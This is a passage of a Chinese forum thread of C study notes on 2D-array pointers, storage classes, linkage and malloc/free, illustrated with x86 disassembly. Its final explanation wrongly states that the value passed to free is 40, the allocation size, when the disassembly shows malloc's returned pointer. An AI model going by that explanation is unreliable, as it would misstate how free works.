  24. 0040D792 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  25. 0040D797 E8 F4 38 FF FF       call        printf (00401090)
  26. 0040D79C 83 C4 08             add         esp,8
  27. 9:        printf("%d\n",*(p+1));
  28. 0040D79F 8B 45 D8             mov         eax,dword ptr [ebp-28h]
  29. 0040D7A2 83 C0 0C             add         eax,0Ch
  30. 0040D7A5 50                   push        eax
  31. 0040D7A6 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  32. 0040D7AB E8 E0 38 FF FF       call        printf (00401090)
  33. 0040D7B0 83 C4 08             add         esp,8
  34. 10:       printf("%d\n",**p);
  35. 0040D7B3 8B 4D D8             mov         ecx,dword ptr [ebp-28h]
  36. 0040D7B6 8B 11                mov         edx,dword ptr [ecx]
  37. 0040D7B8 52                   push        edx
  38. 0040D7B9 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  39. 0040D7BE E8 CD 38 FF FF       call        printf (00401090)
  40. 0040D7C3 83 C4 08             add         esp,8
  41. 11:       printf("%d\n",p[0]);
  42. 0040D7C6 8B 45 D8             mov         eax,dword ptr [ebp-28h]
  43. 0040D7C9 50                   push        eax
  44. 0040D7CA 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  45. 0040D7CF E8 BC 38 FF FF       call        printf (00401090)
  46. 0040D7D4 83 C4 08             add         esp,8
  47. 12:       printf("%d\n",*p[0]);
  48. 0040D7D7 8B 4D D8             mov         ecx,dword ptr [ebp-28h]
  49. 0040D7DA 8B 11                mov         edx,dword ptr [ecx]
  50. 0040D7DC 52                   push        edx
  51. 0040D7DD 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  52. 0040D7E2 E8 A9 38 FF FF       call        printf (00401090)
  53. 0040D7E7 83 C4 08             add         esp,8
  54. 13:       return 0;
  55. 0040D7EA 33 C0                xor         eax,eax
复制代码

从p=data;, printf("%d\n",p[0]);,printf("%d\n",**p);的反汇编看出,数组名和数组名[0]是首元素的地址,printf("%d\n",*p);,数组名像是指向数组名[0]的指针,这就是为什么二维数组的元素可以看成一维数组

printf("%d\n",*(p+1));从反汇编里看出,加了0ch,就是加12,并不是加4,二维数组的元素是一维数组,一维数组占3个int类型,所以12,所以*(p+1)指向data[1]

函数里使用二维数组:比如说int sum(int data[][3]),第一个[]表明data是一个指针


回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-3-13 18:52:06 | 显示全部楼层
本帖最后由 DL_one 于 2020-3-13 18:57 编辑

存储类别、链接和内存管理

0x01 存储类别
1、作用域
一个C变量的作用域可以是块作用域、函数作用域、函数原型作用域或文件作用域。
1.1 块作用域:
块是用一对花括号括起来的代码区域。比如函数体就是一个块。定义在块中的变量具有块作用域,块作用域变量的可见范围是从定义处到包含该定义的块的末尾

1.2 函数作用域
仅用于goto语句的标签。一个标签首次出现在函数的内层块中,它的作用域也延伸至整个函数

1.3 函数原型作用域
用于函数原型中的形参名,作用范围是从形参定义处到原型声明结束。这意味着,编译器在处理函数原型中的形参时只关心它的类型,而形参名通常无关紧要。

1.4文件作用域
变量的定义在函数外面,具有文件作用域,从它的定义处到该定义所在文件的末尾均可见。

2、链接
C变量有3种链接属性:外部链接、内部链接或无链接。具有块作用域、函数作用域或函数原型作用域的变量都是无链接变量。这意味着这些变量属于定义他们的块、函数或原型私有。具有文件作用域的变量可以是外部链接或内部链接。外部链接变量可以在多文件程序中使用,内部链接变量只能在一个文件中使用。当一个文件作用域变量用static修饰时就是内部链接

3、存储期
C有4种存储期:静态存储期、线程存储期、自动存储期、动态分配存储期

静态存储期:在程序的执行期间一直存在,文件作用域具有静态存储期
线程存储期:用于并发程序设计,程序执行可被分为多个线程。从被声明到线程结束一直存在
自动存储期:块作用域的变量通常都具有自动存储期,当程序进入定义这些变量的块时,为这些变量分配内存,当退出这个块时,释放刚才为变量分配的内存
4、存储类别说明符
auto:表名变量是自动存储期,只能用于块作用域的变量声明中。由于在块中声明的变量本身就具有自动存储期,所以使用auto主要是为了明确表达要使用外部变量同名的局部变量的意图。
register 说明符也只用于块作用域的变量,它把变量归为寄存器存储类别,请求最快速度访问该变量。同时,还保护了该变量的地址不被获取。
static 说明符创建的对象具有静态存储期,载入程序时创建对象,当程序结束时对象消失。如果static 用于文件作用域声明,作用域受限于该文件。如果 static 用于块作用域声明,作用域则受限于该块。
extern 说明符表明声明的变量定义在别处。如果包含 extern 的声明具有文件作用域,则引用的变量必须具有外部链接。如果包含 extern 的声明具有块作用域,则引用的变量可能具有外部链接或内部链接,这接取决于该变量的定义式声明。

0x02 存储类别和函数

函数也有存储类别,可以是外部函数(默认)或静态函数。外部函数可以被其他文件的函数访问,但是静态函数只能用于其定义所在的文件。

  1. double gamma(double);   /* 该函数默认为外部函数 */
  2. static double beta(int, int);
  3. extern double delta(double, int);
复制代码

在同一个程序中,其他文件中的函数可以调用gamma()和delta(),但是不能调用beta(),因为以static存储类别说明符创建的函数属于特定模块私有。这样做避免了名称冲突的问题,由于beta()受限于它所在的文件,所以在其他文件中可以使用与之同名的函数。

通常的做法是:用 extern 关键字声明定义在其他文件中的函数。这样做是为了表明当前文件中使用的函数被定义在别处。除非使用static关键字,否则一般函数声明都默认为extern。


在rand0.c文件里:

  1. static unsigned long int next=1;
  2. unsigned int rand0(void)
  3. {
  4.         next=next*1103515245+12345;
  5.         return (unsigned int) (next / 65536 )%32768;
  6. }
复制代码

在r_drive0.c文件里


  1. #include "stdio.h"

  2. extern unsigned int rand0(void);

  3. int main(void)
  4. {
  5.         int count;
  6.         for(count = 0;count<5;count++)
  7.                 printf("%d\n",rand0());
  8.         return 0;
  9. }
复制代码
next是静态内部链接,存储期在程序的执行期间一直存在,作用域是rand0.c文件,其他就不可以访问了。
unsigned int rand0(void)是外部函数,其他文件可以调用,用 extern 关键字声明定义rand0.c文件里

0x03 分配内存 malloc()和free()

malloc():接收一个参数,是所需内存的字节数,返回动态分配内存块的首字节地址。如果 malloc()分配内存失败,将返回空指针。malloc会找到合适的空闲内存块,这样的内存是匿名的,malloc()函数可用于返回指向数组的指针、指向结构的指针等,所以通常该函数的返回值会被强制转换为匹配的类型
free()函数的参数是之前malloc()返回的地址,该函数释放之前malloc()分配的内存,一些操作系统在程序结束时会自动释放动态分配的内存,但是有些系统不会。为保险起见,请使用free(),不要依赖操作系统来清理。
malloc()和free()的原型都在stdlib.h头文件中。
因为char表示1字节,malloc()的返回类型通常被定义为指向char的指针。然而,从ANSI C标准开始,C使用一个新的类型:指向void的指针,把指向 void的指针赋给任意类型的指针完全不用考虑类型匹配的问题
  1. #include "stdlib.h"
  2. #include "stdio.h"

  3. int main(void)
  4. {
  5.         double *ptd;
  6.         int max=5;
  7.         int number;
  8.         int i;
  9.        
  10.         ptd=(double *)malloc(max*sizeof(double));

  11.         for(i=0;i<max;i++)
  12.         {
  13.                 ptd[i]=i;
  14.                 printf("%f\n",ptd[i]);
  15.         }
  16.         free(ptd);
  17.         return 0;
  18.        
  19. }
复制代码
上面的程序是动态分配数组

反汇编:
  1. 6:        double *ptd;
  2. 7:        int max=5;
  3. 00401028 C7 45 F8 05 00 00 00 mov         dword ptr [ebp-8],5
  4. 8:        int number;
  5. 9:        int i;
  6. 10:
  7. 11:       ptd=(double *)malloc(max*sizeof(double));
  8. 0040102F 8B 45 F8             mov         eax,dword ptr [ebp-8]
  9. 00401032 C1 E0 03             shl         eax,3
  10. 00401035 50                   push        eax
  11. 00401036 E8 95 00 00 00       call        malloc (004010d0)
  12. 0040103B 83 C4 04             add         esp,4
  13. 0040103E 89 45 FC             mov         dword ptr [ebp-4],eax
  14. 12:
  15. 13:           for(i=0;i<max;i++)
  16. 00401041 C7 45 F0 00 00 00 00 mov         dword ptr [ebp-10h],0
  17. 00401048 EB 09                jmp         main+43h (00401053)
  18. 0040104A 8B 4D F0             mov         ecx,dword ptr [ebp-10h]
  19. 0040104D 83 C1 01             add         ecx,1
  20. 00401050 89 4D F0             mov         dword ptr [ebp-10h],ecx
  21. 00401053 8B 55 F0             mov         edx,dword ptr [ebp-10h]
  22. 00401056 3B 55 F8             cmp         edx,dword ptr [ebp-8]
  23. 00401059 7D 2A                jge         main+75h (00401085)
  24. 14:           {
  25. 15:               ptd[i]=i;
  26. 0040105B DB 45 F0             fild        dword ptr [ebp-10h]
  27. 0040105E 8B 45 F0             mov         eax,dword ptr [ebp-10h]
  28. 00401061 8B 4D FC             mov         ecx,dword ptr [ebp-4]
  29. 00401064 DD 1C C1             fstp        qword ptr [ecx+eax*8]
  30. 16:               printf("%f\n",ptd[i]);
  31. 00401067 8B 55 F0             mov         edx,dword ptr [ebp-10h]
  32. 0040106A 8B 45 FC             mov         eax,dword ptr [ebp-4]
  33. 0040106D 8B 4C D0 04          mov         ecx,dword ptr [eax+edx*8+4]
  34. 00401071 51                   push        ecx
  35. 00401072 8B 14 D0             mov         edx,dword ptr [eax+edx*8]
  36. 00401075 52                   push        edx
  37. 00401076 68 1C 60 42 00       push        offset string "%f" (0042601c)
  38. 0040107B E8 D0 1F 00 00       call        printf (00403050)
  39. 00401080 83 C4 0C             add         esp,0Ch
  40. 17:           }
  41. 00401083 EB C5                jmp         main+3Ah (0040104a)
  42. 18:           free(ptd);
  43. 00401085 8B 45 FC             mov         eax,dword ptr [ebp-4]
  44. 00401088 50                   push        eax
  45. 00401089 E8 C2 0A 00 00       call        free (00401b50)
  46. 0040108E 83 C4 04             add         esp,4
  47. 19:
  48. 20:

复制代码
ptd=(double )malloc(maxsizeof(double));的反汇编是:
  1. 0040102F 8B 45 F8             mov         eax,dword ptr [ebp-8]
  2. 00401032 C1 E0 03             shl         eax,3
  3. 00401035 50                   push        eax
  4. 00401036 E8 95 00 00 00       call        malloc (004010d0)
  5. 0040103B 83 C4 04             add         esp,4
  6. 0040103E 89 45 FC             mov         dword ptr [ebp-4],eax
复制代码
先将max的值传给eax,左移eax三位,相当于eax乘以8,就是40,刚好是传给malloc的参数值,然后压栈,调用malloc函数,再把eax存入dword ptr [ebp-4]中。
free(ptd);反汇编:
  1. 00401085 8B 45 FC             mov         eax,dword ptr [ebp-4]
  2. 00401088 50                   push        eax
  3. 00401089 E8 C2 0A 00 00       call        free (00401b50)
  4. 0040108E 83 C4 04             add         esp,4
复制代码
先把dword ptr [ebp-4]的值传给eax,就是40,是malloc分配内存的大小,eax入栈,调用free函数,释放这段内存
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:26 , Processed in 0.024965 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表